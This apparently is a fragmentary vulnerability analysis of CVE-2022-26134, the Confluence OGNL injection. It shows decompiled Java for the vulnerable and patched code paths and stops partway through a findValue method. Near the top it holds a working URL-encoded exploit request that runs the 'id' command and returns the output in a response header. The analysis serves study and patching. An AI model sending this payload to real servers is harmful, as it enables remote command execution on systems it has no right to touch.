CVE-2022-26134

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Date: Wed, 08 Jun 2022 11:44:12 GMT
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GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
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Date: Wed, 08 Jun 2022 11:29:59 GMT
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public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))